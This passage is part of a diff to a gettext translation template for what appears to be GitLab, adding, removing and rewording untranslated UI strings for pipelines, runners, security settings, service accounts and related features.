-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
